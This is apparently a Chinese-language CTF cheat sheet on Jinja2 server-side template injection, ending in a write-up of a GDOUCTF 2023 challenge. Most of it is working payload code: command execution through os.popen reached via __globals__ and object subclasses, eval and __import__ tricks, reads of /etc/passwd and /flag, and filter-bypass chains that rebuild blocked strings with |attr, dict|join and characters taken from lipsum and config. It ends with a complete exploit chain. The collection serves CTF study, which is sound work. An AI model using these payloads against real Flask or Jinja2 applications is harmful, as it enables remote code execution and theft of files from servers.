0%

jinja2模板注入总结

Jinja2模板注入是一种安全漏洞,发生在使用Jinja2模板引擎的Web应用程序中。当应用程序将用户输入直接嵌入到模板渲染过程中,且未对输入进行适当的过滤或验证时,攻击者可以注入恶意的模板代码。这些恶意代码可能会被Jinja2引擎执行,从而导致未经授权的操作,例如读取服务器文件、执行系统命令或窃取敏感信息。这种漏洞类似于传统的代码注入攻击,但针对的是模板引擎的语法和功能。

相关函数总结

listdir(“/“)函数列出目录文件

open(“flag”,”r”).read()打开文件并读取

eval将字符串作为代码执行

两个内置函数

get_flashed_messages、url_for

{%print(get_flashed_messages.__globals__.os["pop"+"en"]("ls").read())%}
{{url_for.__globals__['current_app'].config['FLAG']}}

小trick

  1. ['__xxx__'].__xxx__其实没有区别,但是['__xxx__']可以通过拼接字符串的方式,绕过对xxx字符的过滤。还有['xxx'].xxx

  2. 查看配置文件,作为存储配置信息的变量`config`,这个类中的`__init__`函数全局变量中已经导入了`os`模块,我们可以直接调用。
  3. **_getattribute_()**函数可以拼接两个字符串,可将__init__写成__getattribute__('__in'+'it__')

  4. {{config.__init__.__globals__.os.popen('env').read()}}
    {{config.__getattribute__('__in'+'it__').__globals__.os.popen('ls').read()}}
    {{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("env").read')}}
    {{b.__getattribute__('__in'+'it__').__globals__.__builtins__['__import__']('os').popen('ls').read()}}
    

    ## 对config做了限制

    1. 得到object类

    > `[].__class__`:这会获取空列表(`[]`)的类,即 `list`。
    >
    > `__base__`:在Python 3中,这是获取对象的基类(即直接父类)的特殊属性。然而,`list` 的基类是 `object`,因为所有新式类都隐式继承自 `object`。

    ```jinja2
    {{[].__class__.__base__}}
    {# 过滤了class可以用下面这个,拼接字符串 #}
    {{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0]}}
    {# 多少个__bases__[0]自己试 #}
  5. 利用__subclasses__去访问object类下的所有子类

{{[].__class__.__base__.__subclasses__()}}
{{session['__class__'].__bases__[0].__bases__[0].__subclasses__()}}
{{session['__cla'+'ss__'].__bases__[0].__bases__[0]['__subcla'+'sses__']()}}

常见可利用的类:**<class ‘os._wrap_close’><class ‘warnings.catch_warnings’><class ‘site._Printer’>**

  • **<type ‘file’>**,对文件操作的类,可以用来读取文件。
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
  1. 确定一些类中是否含os模块、__builtins__模块
{#查看71类下有什么#}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__.os}}
{#查看__builtins__模块下有什么#}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__.__builtins__}}
  • os模块,直接利用os中的popen函数
{#利用popen函数查看目录,读取文件#}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
  • 不含os模块,如果含__builtins__模块,利用该模块下的eval函数导入os模块
{#利用 eval函数执行命令#}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
{{xxx.eval("__import__('os').popen('cat /flag').read()")}}

for循环遍历匹配

遍历object类下的所有子类,匹配catch_warnings

利用open函数读取文件

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__.__builtins__.open('/etc/passwd','r').read()}}
{% endif %}
{% endfor %}
{##}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.['__glo'+'bals__']['__builtins__']['open']('/etc/passwd','r').read() }}
{% endif %}
{% endfor %}

import导入os模块利用

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').listdir('/')}} {# listdir函数列出 #}
{% endif %}
{% endfor %}

过滤器

`````

  • |capitalize是一个过滤器,会将variable的值通过capitalize方法处理后再输出。

  • capitalize方法会将字符串的首字母大写,其他字母小写。

from jinja2 import Template

template_string = """
{{name|capitalize}}
"""
template = Template(template_string)
output = template.render(name="it's Very Good!")
print(output)   #输出:It's very good!
  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __subclasses__:返回当前类的子类,也可以通过索引的方式定位一个子类。
  • __init__:类的初始化方法。

|join

|join过滤器,用于将列表中的元素连接成一个字符串。

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __globals__:对包含函数全局变量的字典的引用。
  • __builtin__
__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin                  1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

[GDOUCTF 2023]

过滤了{{}},通过{% %}代替,还过滤了一些危险字符和字符串,我们只能自己设置和拼接了。

设置特殊字符

{% print(lipsum) %}

image-20241004190352946

{% print(lipsum|string|list) %}
{% set pop=dict(pop=1)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %} #设置xhx为'_'下划线
{% set kg=(lipsum|string|list)|attr(pop)(9) %} #设置kg为' '空格

image-20241004190630920

发现lipsum中缺少了我们需要的/字符,可以通过config设置,前两个字符在config中也能找到。

{% print(config) %}

image-20241004190120138

{% print(config|string|list) %}
{% set xg=(config|string|list)|attr(pop)(239) %} #设置xg为'/'斜杠

image-20241004190604117

拼接并设置关键字符串

|join过滤器,用于将列表中的元素连接成一个字符串。

# xhx:_   kg:空格   xg:/
#设置globals为拼接后的 __globals__
{% set gl=(xhx,xhx,dict(glo=a,bals=b)|join,xhx,xhx)|join %}
#设置gi为拼接后的 __getitem__
{% set gi=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
#设置so为拼接后的 os
{% set so=dict(o=a,s=b)|join %}
#设置pp为拼接后的 popen
{% set pp=dict(po=a,pen=b)|join %}
#设置shell为拼接后的 cat /flag
{% set shell=(dict(cat=a)|join,kg,xg,dict(flag=a)|join)|join %}
#设置read为 read
{% set re=dict(re=a,ad=b)|join %}

拼接payload

#payload原型
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat /flag')|attr('read')()}}
#拼接payload
{% print(lipsum|attr(globals)|attr(gi)(so)|attr(pp)(shell)|attr(read)()) %}

exp

{%set%0aop=dict(op=1)|join%}
{%set%0axhx=(config|string|list)|attr(op)(74)%}
{%set%0akg=(config|string|list)|attr(op)(7)%}
{%set%0axg=(config|string|list)|attr(op)(279)%}
{%set%0agl=(xhx,xhx,dict(glo=a,bals=b)|join,xhx,xhx)|join%}
{%set%0agi=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join%}
{%set%0aso=dict(o=a,s=b)|join%}
{%set%0app=dict(po=a,pen=b)|join%}
{%set%0ashell=(dict(cat=a)|join,kg,xg,dict(flag=a)|join)|join%}
{%set%0ara=dict(re=a,ad=b)|join%}
{%print(lipsum|attr(gl)|attr(gi)(so)|attr(pp)(shell)|attr(ra)())%}